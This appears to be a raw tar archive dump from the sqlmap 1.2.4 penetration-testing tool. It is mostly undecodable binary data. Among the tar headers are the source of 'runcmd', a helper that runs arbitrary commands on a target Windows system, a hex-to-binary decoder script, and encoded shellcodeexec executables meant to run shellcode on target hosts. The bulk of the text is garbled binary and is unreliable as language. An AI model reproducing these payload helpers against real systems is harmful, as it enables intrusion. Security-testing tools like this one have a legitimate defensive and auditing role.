¦›…”<äsé5I_ýš:u5*Ÿ¸ù[Êa®¦"ÍÝä^°¹©¤¹½Þ¸n Í]EÚ2õ‰ÌqÈ2ÚȨW †dz]ZZ ›š|ÆëPáå„‘é§`h÷ô[ùCQ×lx݃ÁÔ(ºÆ¸ë-g϶Ri—ªÅ•%è;64êîA´º=Åv·ºÓ»ÏTŒÂk”¢?Q"PɱOs+äËôD€|!ò~V·ÊŽçëÅή™¨¿!ÌЉvÊ…˜P$eöãØßSÃþ™ÊÁtsÑ)¥áWs«/¼*‹$¤©h—Õ Ý¿2!,‡u.M°™`Ã%GýšER®ý(: ìNNâ®àì5G2tê_žrQ]í9Ù[ú‡"¾Ìy"Wù-Á¶ƒ è!‚&Ü]eíôìÁ2Gv=Ö>7òÛ@+"'Íà]-hºpvÅk Þ €ÚX}áÔI®iÖÆeH©}и#¡Ì*á…ËÏÞƒ¨ZÎRÔËhŸü@Æá—kõ^BãI›Û¦Õ¤”Τ—ÁŒð2ZÎwÏÀŒðsåÊÞ¯vQ¿fT@2"Õ/:—ùv8ó_ê§=íýôÆCœå~ÙŒë‹WòêÐG;ûô¾¸nš8/pŽ© Û)þü"ª9J_¤ª?#‚\´DbøJ 骚êR‹kjp3¶È‡ßøÆå! —³&fêÚöx¯™G2B%Ô©±íRÏs[ºŒaÀqØWÉ[.arm@ÍUZ½ »ÎsìU Õ•‘c`†âxõ±*(¢ICYYޏf‚3¢Ù×8?$—c·‘š!%F¬LZ—;¨ÜAü÷µè`ñÚ'kç`…=ˆhP|+ÉÑ;7—ïµ.SÕäNš6RÊkÿ´h—ç ÎxÔ#ÙKÄ/,h6…m'›î³yKêÓ´óГxÄ?Y;·ßë•®Êóý|4¾ ïŸïL&y¢±ØwÒ~=~×ÄX½>©(P!øˆ`( e ¾;íÔpr§b癦q•ý(æð,Ž£©¥º/"¡Mß‘²õE¥x­Xß&®Æd_š‹'¦Ž Wù*ÂbÎu­ÂNL ;Ù NF-#¥ªŸŸ F[;Ù˜ü·ÅŸáïû$Ï[Ÿ#+€h•z»6Ú'-%“ýteO†¥醬'Ø0âAƒf5š÷äú â`MÀR*ôÔ#À1%wrt[™Üw^M)¯F ;Ì“ k3ä/&©ýÎÜÖùÔÝ/*V.U÷µÏþ˜£äƯ÷‡CžëŒý’êí PvwÒz>So[bgæÎ± qòúg½æ?Lí¼øpàqƒ`ÈLoòZs_{=žô…;+Ú'¸‡OÜ&s·Š÷™4ÈKP‚.Ľt Ó×Ãøúö]V¡íW—XICŠ—²aZ±¸ÒÔ¨jï>¡–3$huP‡´$< ?ÏÔ÷¹‘r EŸK¡øf†Ÿáøf†Ÿáøf†ŸÿtÏÞnMîj€A{ød€#ZãÆ~Ì{ˆz7}7~È~W|øzÀDí£8ÊGBÀ#€ÅVÙq€%€Ç~ö}c~xè|glYãSy°¬zÈxà~ ì}zàG?dÀ 9‡Ë¸‰ ~)¬|W¨xØvð,€ }¼v}àS~¸so¦†C}Ì{O}Sx't//zðWÀ x~%Ú~¾}’E€fWVGèn¦g¹ß$ŒÜÎR9îô|91»ÏÈ"1IúýÿÖÈ2›¼]Þõ½â„ö~ù–ÁÖÜdHf¹ ~¤iQUÞ-¤·—Ù4ø¼â]wòWøÿfüÖ»ZAZv£êËÒ£™*˜BÛ!粊ttL‹²ƒÉZ¬K$R¦{1vÓ² lŠb¦òCÞâWβ—– #)±ÃŸ"/À¥0çqà <.¸z(ï ‡/ÄçjÚõ ‡£Ø~ `jÆVË(%­Ìz­œ ÙŠ¥~)Q¥FÙŠ~—*Ή™DUS¾7Ÿ&--—•‰Ôç–êtL³íú3çv¯ç‹õzÅ™ÙA×®0Ðû¾"·Ñ‘é¨Ðçj~þqi /NDÌ-ÏSµë³Š‹øÌSžÆw7©¾+WVV €B³/Ÿ|Èh=æ^rR¤LfN£ÂéãxÐo_³ Ù ø ˜ãWQ„0ä•êL44í…dtUôÙ‚\¯“¾w’U³³/:!>ÞýKù°ksŸ(”WÙ^¦£°vìúŠÁnˆëýM!p>t‹4ÈëD¤ŽÙØ4…}! œ£ÏÊSWÀ>6^1³ Â4òuìÙúf·jGÑçw:&´3Vž™|7j•òq^‹‡ÌÃ`õ3SWOæ±¼¾ïÀhjó.±°V( %’™§Å*/sŸrU°Àòº/ùó•·U…•HŸt7hhÙÿòðáIx¿V^|`È–üïˆ:¡W \ fŒ=®B³„‹áîº9a·äjpª·qf¯”Ͼ9¼g¯;€Ü—åF^³ ‚°Y?sHÈô×hhÙ¡åÞyzz†žÇSúÓ¿BQGßÅZö]%×Å϶—åz„•ÊÈ!!}íyWy4Y°­˜»y…V{²Ëã b ‰?z›x‡`º#¤7Ù™Y{`Ū£Øïlì¥ø^¤”*-\‡Œð 8aÐQobÖH’»/[”~Éü0ò‡F<æÁ!{µ)#+Pâ^K†bM¦“€~4ýéÒö”|gr¶¤G¯ˆ÷£…6÷ÆW˜ãÌ&ŽâÒâc!Ë£¹3ˆŽö—Ç Öé¸OwBö>‰£“|²)”v~{IS‚ï5.3'2“ÃÂSSØcShæ•FÎ+„"”zñ±DÀý!Óªj¦åNÌ1#¾œöÙöÿZz¥4¬?Óç™z} eða Ä>Ç¥{èuì/THæ|vé—<×~Î ê("¦AVÏq¹ÉÊ­ÐXÚ4³cZ’H§ Œ*Ê}ÅDc™jÓƒÝy‚Ã_¡ŸÁé,U5ìƒmÙ?»U”/è&AeÜ[E²§ d„ÌÜ{´)§ý)6:/ǘxù•Ý_…VÛÈÈè|¯™! zÔk [Jã»@kmp4Çh ÷òû°çê¿P5~¯‰øàòwÀVG(”Ûoé•k?ÀI6^r¬ÉÐjk—=ïÇÒfì`໡¸°W ‰¥›°ÞV_"kÙ·à‹+·F´ps=ß/g°¯56ÁL–d36Üy^›‡a‡hc:Ð_ÁïŠÒvÀçÊò¾½q„»ñzÕÅô\rrÙ¥|:+˜& jE¼(ý(½•=‘E'‘(J;—öœ3@®!+~ß`]A—–Z≠EfâP{˜Œ>=‹_su×5K2éfî p|>Þ¦]I¼D°ò² PábÎzlGEÌIr›“&ÊLËúõÈúÞÿð‡VÉ;– )¶B«3SûìfAa¾ïï9®d | rà{?\À>€ý»~ }Cy†g¹Ã~~ ~ €R?JÀ)€ a { _hR?E?u€zF?m?]€n~?SÀ#€FL~;~è~]~ n%J€u?vÀ~ôf¹A€a€€Q}Ð~ÐqyàW?\À>€"}z't°_m ßäÎ}cyØz/qqOx_}?vÀ~ôýrÒxxà2€|»~~²~i; ÂH~ö}+|¬z˜| {_„•éMמà€H¨R«²ƒñ:ÙÖ’¼¢„gÀ¡žIÛb:ö}g“³Õ M¹=fmE=JMS#B´9ݘë\ÆÞ£î¦ã\X3œ¤ŸCÔÍӦϸåÖ虳ßIçöDæÎ»ó®Ø¸ù†zthÝŒ œ%²KÙB÷QH¯'6!26µ¥¥¯þÁšµfëÖÈÜwô’³VHP >.ÉŽ-!WÛ-!ÿ|$T«¶OØ4 ÇKÛ‹·'Ê;¡©ÝÁyû|Ü*CàsËã³yVQn5¨d³³GL¤wËââòQÕ%JÀ…s@øè¯øÍðÿ®ô»ò—įù«½ÊPG;2À0öBñ·xüäßóç‹«ÿhÿÿ€çÊEÍýï¦ÙÀïûA>k_døÉ¿ç€}þÕßå`nðt´zúïS4ùq¶ßüqä°‹ŒQÉ*×ÖÖBø/½«>Üáø‘8`ü‰0þð80BýãŸìæ§@Ûýì öþühÏïá—Pîÿ¿éÀ˯üúàq½øµ×ßó·½ÝØ ¤ùßµ´aB üÝlÿñû÷1žÿô™pAü¨íã0ABû‡@ÖþùŸ¾èøó þ5Eÿæéúû@¾ìA÷Õ×Bßœïí»ñÛþ4—½ÿòKôó½y þÿÝßÿP†öÿ`.þ66óttçãÊJÇÃL,†8PjðóÙÙ·*ÐJm‹™ãâÍ bÃ!¸‘QTŠËüïTq‚¯)vï ŒhIv¥ÀÝ\kÐKînŠìÆ—Gò~LãŠz˜4ìdb‚´i 0n…ïú˜Q¦‰E˜yÄ«ÀKOAÆÅGœJl¦ Ù™KZŽCú–’TG5Z·K ‘"²¤wìÍ##;b¬‚òghãs‡Ð`~!ÁzCÀ`‚ŠP ˜=€h x'}²€L qFÀŒÀ“° ÅÊÔ”W®í$\·¢ÑÈ2zˆêH ‚ôÎÃû ÒD›Æéù#­PÚÄåj•~›­—Ü4Š4óWŸØÙuüLÄ“µ°ýˆ™Ù>cÏÄ:[Æ)Ò‘`ëZé gFñ¼Ô£—Œc!X¼ÊšbûÅÓ6É`3"úèté`¼°ñ¾x`YþÚìâS¶§ÏS}ÄíCÎ4×iæFì›×i)èýþËØÒc 3¸äÇœFóÖ–GŠ‘óR"ëoвu³×Eì -²ÎQÉÞgŒÓÜÉñÜ%ÀVð.ã¹½ßq¸‡oì5èïðÌhšèlgxŸ½ú®TÀró×p j”».úY†ñíñ{¦ÕJW­_#ÿ€dîzZB½@GBsX¿5ñé€õƒÒuìûy¥×N;õƒÒ<Áë¶HŒ<ÀÞli†¹%!Ûy¥.~ ‚ÍzD_R¬Hßl˜)"â·u}â'†øAýi[·ö^ŽëAÀ÷bḲÀÿŽt@ÍÓSå2§¹«A—¥ôi7¦ÏþÌ[ÿÑ>þ,YxûŸcäŸBZØÿÿ`3H :ÓƒýÏsŠžÙ­×ößýbþ ;¶¿εóHûÎûωrödäOQØ8€@Ng¹QõӷRsö@GÈçÝ9ÿû³~ïƒÓ6EXyù0þøü ©ÈòŠ6¾ i¬½ Œ%Hö2ë†þ1ÁµËÑÐùWN Ï–#dÏŸ”!»CÖ¹ üý÷pÏ›UܬʡýHƒ ñJüß¿·xùHqúþóÛ®"A¯¿IþRµÁþƒÛýŽx™@AÍ <ÓÕ釯ǖ`"Û@ý©û¯ûñÐù¨ÞÈBý°ÿàú×Ì@¿‘™U:Cí$ÛßH 7}ûÛ³ò¾Eð>@c oQ?’…ÃNs` `‹¥t›'ú¯â§@´T1pÓ¢gú›øü7Âx„øÞ"½ ˆAäDs5XoÿÀï¨äþÌC¡ü>›  ì+“ƒËq*SÖžáç!ÅÏló³#Åï€Î7Ó׆s¤Ï&ø™^ñ(”¯c&¸N¸ìß»¥ âä†s”«Ï­C„•¿mÞ“='ë<®SÄ¡[€yÏ„s2ƒg ÷†Í‹¢Û^VQ—tbE ¨Ì¿lå¡Ú¯e 'Æì ”N›ËZkk—Ú“e-ç ¸{‡B“·4Ëî/B0‰}lð…&S$çl{‡|¦XAÑ®§GlîÛpÚ!à¸ù Ùàx_šyl`$ž(çXÙL4è–@׉¾I»£kšÊãFRõÛý|»}èuœ¬3%ó§âxÐÛT- cɳ]:.Q:@Ûä›QÉT ¢y÷W¬ 7ïGù²Ò;û9ÓY»Ãâ°—=¦F›Â%‡FrÌ öÖ^9oßaÏÃŒ £ÀÛ±[ûOÏÎ /¬¶¡‹¹G$WÊi=½ÆzŠÌ:^Ì0Ú¤rã'ù©M¸cß·/Q•ùE¡{H9âF»¯9óÀ›!¾UL¯Ôe˜{ï*¤~ö 3«cÀxíTMtn£ócÖŠ?UÅ5§Ù¥+s¥x×D;ŒK§]RPÛž›é7VI£”ÏâuÞÎ¥"BK޳T-}A²ÐY6äà» M[d”Ê—^Z¢ØB&.–ƒÃ؆Zf?Z4}¨G…5Sˆ/±líþØn”}l·´¸‚d<¬#++ØØ)Eýþa²+'ìqºR*”ÅUqWéLü5!Ö©Yl®8€Â%ƒj¥¼½OZpÊ¿”ÖR¼J¾ï7ZOޱÊά,å<îò5úZtm{‰î†Z' £ë5“fßïyU·áe5}uá² «äË‹L³Z^_ ‚»°ü}èî\ùU¾_µ4!.IXÈý ™-ì«îHò*/ª”°¸V¬½,nNü!3€bwq=üƒ$-_”æðÅ=1qKgÿq­\gÛåËlÌ¡¤~ø˜}í?V¯LÊ8d¶{wñÛhwÃÓž‚Šj²ÆÁÍç/ WÓ÷§w '×Î|¨Ó–éÈï¿üf%'ƒùpR3ðïÅû@óù¿1|Òó¿œkº(®+í…qÃöŠí“Z÷ ÆÌÎÌšŸµ×Çf«ª©¹pÂHíùˆ QLÓW™¿ùžáãZóo„﹎çÆŽC·èô«ž¥ÉÐnX²îlB·þ“ü0î¸Müé¶@¶ à¸Û«'ÌH¿òv’ÿjP£‹Œÿ0µûöW}`¼ÑÖ÷cAäŒçžÓä’YÆ ú7¶YÖµï™°Ïø½àûó"òŠò>=y§ƒåúEÐs¹äEÚ~Î}´~œ~Gvk nàOÀ€Ý0~ì¨x¨z¨yØu/qÀ|”kä}|'t}{{ˆ•ÂÏ~˜~ xˆ/|B9®d t bà{?\À7å­_RÌy,v´-`ýݰ2+Òå)gHîyŸÆXÎ$"Ÿû;iÊ¿+–ÄRJä£-О àDöz—xù^¯ÀžeùSÔaˆhŽž~øeàEÈàc€j…²GóFƇã^hà|¹ƒWÆ‚ú*.Ý。€}b¼I./¼VPBBSå³èläPÚÄçyxwôPiøõÅFëb™:›ìAÿÁߨ˜™½ÞPƒæÿÊÕñfcE+ /eÃÏðLüs@ÃÏðLüs@ÃÏðLüs@ÃÏðóïØžŒŒîhéØö(D1Éç#Åb×-ðS)º.ÆÙÀìIiø• •hik•Qœ]GŠæ—åÚtL4jú”e¡–²ù™¥…³ËŸ¢PÌSÊ˱—ú¤uh1¹öœV‹9…R¸Í—Ö]4¼ZANÙŠ¥ééÒ˰ØA`¶pÛ‡íÃöû°ØA`¶pÛ‡íÃöï¶ÿ uÍ4sqlmap-1.2.4/extra/runcmd/src/000077500000000000000000000000001326012263700162175ustar00rootroot00000000000000sqlmap-1.2.4/extra/runcmd/src/README.txt000066400000000000000000000004171326012263700177170ustar00rootroot00000000000000Compile only the Release version because the Runtime library option (Project Properties -> Configuration Properties -> C/C++ -> Code Generation) is set to "Multi-threaded (/MT)", which statically links everything into executable and doesn't compile Debug version at all. sqlmap-1.2.4/extra/runcmd/src/runcmd.sln000066400000000000000000000015631326012263700202320ustar00rootroot00000000000000 Microsoft Visual Studio Solution File, Format Version 9.00 # Visual Studio 2005 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Release|Win32 = Release|Win32 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal sqlmap-1.2.4/extra/runcmd/src/runcmd/000077500000000000000000000000001326012263700175075ustar00rootroot00000000000000sqlmap-1.2.4/extra/runcmd/src/runcmd/runcmd.cpp000066400000000000000000000025041326012263700215040ustar00rootroot00000000000000/* runcmd - a program for running command prompt commands Copyright (C) 2010 Miroslav Stampar email: miroslav.stampar@gmail.com This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "stdafx.h" #include using namespace std; int main(int argc, char* argv[]) { FILE *fp; string cmd; for( int count = 1; count < argc; count++ ) cmd += " " + string(argv[count]); fp = _popen(cmd.c_str(), "r"); if (fp != NULL) { char buffer[BUFSIZ]; while (fgets(buffer, sizeof buffer, fp) != NULL) fputs(buffer, stdout); } return 0; } sqlmap-1.2.4/extra/runcmd/src/runcmd/runcmd.vcproj000066400000000000000000000106341326012263700222300ustar00rootroot00000000000000 sqlmap-1.2.4/extra/runcmd/src/runcmd/stdafx.cpp000066400000000000000000000004451326012263700215070ustar00rootroot00000000000000// stdafx.cpp : source file that includes just the standard includes // runcmd.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file sqlmap-1.2.4/extra/runcmd/src/runcmd/stdafx.h000066400000000000000000000010041326012263700211440ustar00rootroot00000000000000// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #pragma once #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #include #include // TODO: reference additional headers your program requires here sqlmap-1.2.4/extra/safe2bin/000077500000000000000000000000001326012263700156315ustar00rootroot00000000000000sqlmap-1.2.4/extra/safe2bin/README.txt000066400000000000000000000011001326012263700173170ustar00rootroot00000000000000To use safe2bin.py you need to pass it the original file, and optionally the output file name. Example: $ python ./safe2bin.py -i output.txt -o output.txt.bin This will create an binary decoded file output.txt.bin. For example, if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will be decoded to: " test 234 newline" If you skip the output file name, general rule is that the binary file names are suffixed with the string '.bin'. So, that means that the upper example can also be written in the following form: $ python ./safe2bin.py -i output.txt sqlmap-1.2.4/extra/safe2bin/__init__.py000066400000000000000000000002221326012263700177360ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/safe2bin/safe2bin.py000066400000000000000000000076671326012263700177140ustar00rootroot00000000000000#!/usr/bin/env python """ safe2bin.py - Simple safe(hex) to binary format converter Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import re import string import os import sys from optparse import OptionError from optparse import OptionParser # Regex used for recognition of hex encoded characters HEX_ENCODED_CHAR_REGEX = r"(?P\\x[0-9A-Fa-f]{2})" # Raw chars that will be safe encoded to their slash (\) representations (e.g. newline to \n) SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c" # Characters that don't need to be safe encoded SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', ''))) # Prefix used for hex encoded values HEX_ENCODED_PREFIX = r"\x" # Strings used for temporary marking of hex encoded prefixes (to prevent double encoding) HEX_ENCODED_PREFIX_MARKER = "__HEX_ENCODED_PREFIX__" # String used for temporary marking of slash characters SLASH_MARKER = "__SLASH__" def safecharencode(value): """ Returns safe representation of a given basestring value >>> safecharencode(u'test123') u'test123' >>> safecharencode(u'test\x01\x02\xff') u'test\\01\\02\\03\\ff' """ retVal = value if isinstance(value, basestring): if any([_ not in SAFE_CHARS for _ in value]): retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER) retVal = retVal.replace('\\', SLASH_MARKER) for char in SAFE_ENCODE_SLASH_REPLACEMENTS: retVal = retVal.replace(char, repr(char).strip('\'')) retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)()) retVal = retVal.replace(SLASH_MARKER, "\\\\") retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX) elif isinstance(value, list): for i in xrange(len(value)): retVal[i] = safecharencode(value[i]) return retVal def safechardecode(value, binary=False): """ Reverse function to safecharencode """ retVal = value if isinstance(value, basestring): retVal = retVal.replace('\\\\', SLASH_MARKER) while True: match = re.search(HEX_ENCODED_CHAR_REGEX, retVal) if match: retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x"))))) else: break for char in SAFE_ENCODE_SLASH_REPLACEMENTS[::-1]: retVal = retVal.replace(repr(char).strip('\''), char) retVal = retVal.replace(SLASH_MARKER, '\\') if binary: if isinstance(retVal, unicode): retVal = retVal.encode("utf8") elif isinstance(value, (list, tuple)): for i in xrange(len(value)): retVal[i] = safechardecode(value[i]) return retVal def main(): usage = '%s -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') try: parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError), e: parser.error(e) if not os.path.isfile(args.inputFile): print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile sys.exit(1) f = open(args.inputFile, 'r') data = f.read() f.close() if not args.outputFile: args.outputFile = args.inputFile + '.bin' f = open(args.outputFile, 'wb') f.write(safechardecode(data)) f.close() if __name__ == '__main__': main() sqlmap-1.2.4/extra/shellcodeexec/000077500000000000000000000000001326012263700167475ustar00rootroot00000000000000sqlmap-1.2.4/extra/shellcodeexec/README.txt000066400000000000000000000004321326012263700204440ustar00rootroot00000000000000Binary files in this folder are data files used by sqlmap on the target system, but not executed on the system running sqlmap. They are licensed under the terms of the GNU Lesser General Public License and their source code is available on https://github.com/inquisb/shellcodeexec. sqlmap-1.2.4/extra/shellcodeexec/linux/000077500000000000000000000000001326012263700201065ustar00rootroot00000000000000sqlmap-1.2.4/extra/shellcodeexec/linux/shellcodeexec.x32_000066400000000000000000000032331326012263700234130ustar00rootroot00000000000000œµ(,k× O〉{‰é’1H — s{{]`“¡,öÁÇ?éÚ»ÝÖÑÞêiW#'5\‰{øx¢]^N~sš3I8?s3ôŸ™.´ËO^y@€ë îëîÊ7KÆFBïFçÏFïçBÛ×Ðô‚_wS߬ˆ‘äEWEëÁp–˜úæq)Åat™Ý>?èljƒ;/n¨c1Ê÷‹1¢ç›ÀÉg4¤À^n¦ÝÐbƒr䆢uç d'`„A؈9^lÙs]Â(^I‘‹æ±µ#,|†–`¿Gcì#cqÔ„ƒÑ+”Œ6 ¦¾Œç¾ñ•­­ÌN1AçÙœ—µÙG§ñ³ø%Ñ'xãÛO¥èAéçÁÂ#ŸçXQÈËåß;,iS' [ñþwÇ¿ÌåÏz,à œÛ—ù$ŽËX¦#Íå»c¿o+õ¶è¤¹Ìp\^[iõY* =õf–Ô04¹ŒH†IoŒ,6FÀäž Ê’]ê÷²52²®'âJi‰øâìr /x|ð:ù¯ˆPgÉÞ¤@iíd›I­$ï­“ÍJ¶ñßüŸüѾ•ñË‚Á‡wÓÍå¦÷;§b›¶lܹî^qH~âÐTÄN©O3œGI1ZŽÍë^ŽÍî\ŽßE­2»QæÈÇþ¡›G÷™ïèºÞ*RέI(‚O¹´#eÒ—Á7½²b¿K9¯¤3kꎘ!6fVd`JÊ3¡éŒpeM¨S_ù´^,¦uùø<¦Œ•U’gM®Ð§r™ SXFÈKl…Ž×øaˆžßpü¤ý £4«mï‡ZŸ–ŠtS÷qH3˜¿ Ý™!˜æ£–1SÒyÅpqÑk¯ž_–V뿚šgVY»ˆã0ôàe÷pª ÏÑÄÑV¹Wº6§mÆLwÔZæRç¶@1ݾ’Ý¡çÖ^¸IÉú%-«µë¥¡Ç (îéº÷Õot±Æ/:¶¼èöÈ.¡JÄ `Á¢r»´6à¢%ÑÒ¦§œÍ¹t/ê@3Ìrv^Öœûq¢/dQ›WA8—XT0 r›Ü]¦¯ï½ƒ3$°³™µ¢¶=ØH`N•à Ÿ_²¥µ›˜t­ah PꆎYا­pœª0°ìh0’fòö¹Íèî`úqðD(׳çhÀ6)£ßê‹ é¶" eÊyI¸™†-ONÓàc?裟n5dn)Ü4ü¨r— ì9æ™:î^\!Û;‘úvƒ0ê©I^꣙]ô,Hµ±×/Á¹"…3 µÈxΑñžØ'Uº )6-‘ÃS_ËB²ßµÊhŽT¾U]X‚þeF5†€ëÌšüd;Ë匿. 4>ÍšèÄÅ1þ†KâÝþóžaD{1ïû~Ü,_Ó›¸—™ïR„û£C›®èj{•dn’ ø§A|§÷ŠQÔCÎNÍØgü\µgå |üò~±ðvÿ8¾8ùþNÄúo yK}úaôTèiÈŽïëüƒ,'•Æ#¿¥«ƒÜfô:"õÒm©®Æ\ªÍQûœ7ã‘–¸ê—×A$$慠Xä„c–6¹ÚâÀ|x 4«ÿûÈÿR¥xE–’u¾fª¯“6Á¨UXâ3ŠÆ+&%»,êë-KZV¾¤Â¤?KÙdN¹šOR¯Ë‰OiY<9„LDñ°5Þñ’+¹x¿"oŠzª6²âí5ø]M“üS‘;“…üv\˜Pmô\?3J3æÈÎ[þ'[]8Õ ¶è¼Óù¤óÔ)‚†óRÿÍXƒãŒe7O€lF¯­Ühàez³®W¶àˆU?·Xw8÷ño÷(ˆšç7Gº§XDÍÌE8,JÔmÞ*Âѽ·™÷¹a+ èCQÝÇËè̷ĵå æb¦AÝãN›™ŸJQµí̬͌%s’ĩäBic½dÎ]Lyá5R¸_÷0èýy® † q'àÒÀbPÀnÅSGª¿"/æS…#¾†6&ô!Òø†¸²©óâyÎrÜêfšzhQŸ²&&Ž£½L ûôEHDÁÅ‹@÷¾z8`ûžxÄBÎç5G£æ·0ÕûcùÿØâêºYÇýþˆ1&ô½ Ü¿;R¸K‡¹ÿ…ùɦþx ºæðs©"Óë ÂB.wi!ÁóØý¸¿°z¾îsqlmap-1.2.4/extra/shellcodeexec/linux/shellcodeexec.x64_000066400000000000000000000036071326012263700234250ustar00rootroot00000000000000œÕ',×j¿¶l|t&tuÑâ19Je­V;¦zä?g×ÔªMu"+'bLj$ÿ›ý¼†‰µ‘CªB¥‘Ö¯›ò¡ ª*A-I­¦&d%:«£%± w²–iAkÞÎïœäùŽw¦6“ ¬çóÎïß½çžß÷½ç÷Ç¾í ¹{‹$ìn2·9SD=ð4Q€……hþ»ÄY±uì)‡ ;;š šíZ@pcR ‡Ô¤6nÌÚåЭÂV‘Y½ÝXš´oþZaÆeYCìdÖk‡ HóÜÄd]Þoù³ž¢À¦”ñµÐÑ:í ñ¸7û›¡#€s¢§ð#§† ¤6Z¿­uïDÀ$Zî#GÎx ÙáÞípä-B¹¡EÚLeîíéÝ®*ŠÚI«íqçîÀ8S· a(t1qœÅ2ACÈ Äí cÿ‰ ¿ÿiøýÜå°ß †HUøyÂ÷WG¯Ó~zß>~÷Uø¯7«ý’Þªà õo-ð_ŸÄãÇóÅ=¼¢XÊCQ’Gd½]BšÕ::Ph’¥l¢+ÕT],S@\òù;6C›Èê¥uÈè0ä]$o•l•±nxѽûâÛ´Úq«d·ò Áp纃¨ÌúÐã%LVœ@ç#ùvlË·²JaxîàpEðixa àÎûDâÀë$EðIxAàÀÐûc¸¬"ñIÞƒ“ÆOs«ñhH=¿óΘDAõt ó*ø ×bL´8Mÿ±v²ùMÚ˜ŠùSûmÚ˜‚ùº ;d‡A@Ùï¢<žŸ²ìߣ<Ÿ´ìHÐÆ^Î&ö&´NÜùm˜cèÓ¨áV#’µ¿RqcŽÎÖxÚ]=Ξd²Ô+£w„«““GIFÞPK[0Õ ·ùŽJ´6§c‘ÆX£ãØî^ðlÕ8Ïs?“ãdž;%;ãÜ œgKå΋•ÍëºÇ¬¼2ì 6£ xYý›Ò¦Ü”hË—Þ½d1"ØÝѹ™3Y£­ëþ±jÿn&Ûý‘dE‚õ¬¦_¶Ž×x¡‰¨NL×þjóBxöbqÕÎŒe bü³(åµt ]IQÜKÍÚ ÌžC)BøúHî1|[X5æþÐÜþ/B¾ ` Û¬G$Kíò¾·e¯ ,íºVfý›Ò¸cLþQÙ9fó½…µQ< IqbªP´ž>ûè÷úŽÍÌóÏ"1ìöá]&¼~~œHhÖÈñç¼X€aMdt=A@ÇÑEÆT#à0Nãຜè™ù:÷/f©ÀÇN¸Øˆf.eÇ}OD(±RHúŒ›.ãtî†X¼ßGuíÊ,Ÿê"¡pOPNã-Ìø8¿­Ï#ÿ‘¬Í¸äÎ…òFS,t ÄÆ,Îgœùã_gd@fo¦^C£ÎHSŒOÄvÑïýJAy× ÷ãâ ðÂEf÷à…ê@yíµÔG±àmÂeài‡ª…‡(ûU\é#Q&3¥Ó£é¤(](e6kªù F›ì6hð=Ê¿äƒå)¸IavÒý`„<·e uô‡ 0‚¾}úZÐëÝ»7¸9D#›Ö¶X"ö¾p^¤Ÿ ÃÞöŽhÝxÛDûÚýµ–hCÈÛz8@´³z¯÷·$¥rñÃ'pÖ«cF¬`€dwcü©û…*™ö7­í´¢åÅæB‡oYÉ5It×5®«ù}í¯$j¤çD×Ĉ۶¿¸i.‘Í3›âk" 2 ŠôeÒ¤HWñö-äœÔ6 þ¹ÆÞÃñµ;šð_Ù# ¹@Ÿ<­ñÉß[›ó´7ö*eßÿ5@§Š9ó´‡ô¤Ÿ]"_ýcéÓ¤>úßäÀ¾pûƒýéá¢àß®B¤ëv¡Röéÿó­M}»lBNS´>0—4=Tkõ´Ö·HÚ£XŽtí¡ª[U\=4W+1ä­—íT@7—T١Ɉõ E—?8ETå `¶=šža…ÿsg­˜5èv¡¥8â™ ]ŸŽ¤ÊË–Ð’±#qõ ² žÈ“Ð.·þì¶í †Tà–Sæóé‚þ ­Ti¼pPÕcH­p@/üÕýðÝ¢µüAÛÅ¿:±Ht» O@=üw~»wçúâ>Áxê—MŒø5üUŸå$ÂÎ~ó§ˆ@:À]Ἷ+ëÈ<®*ÌçúH6zŒëb‹š¿8„"˜ÏõåUñ¹Îü:4×Q¶¹V>þjâù®° É®—>âóGÕüNž/ø#\įDøÁ9S¿|ÛŽ‘¦qÙ:"@f…ß6ü1â0®ÀççÞ÷jA 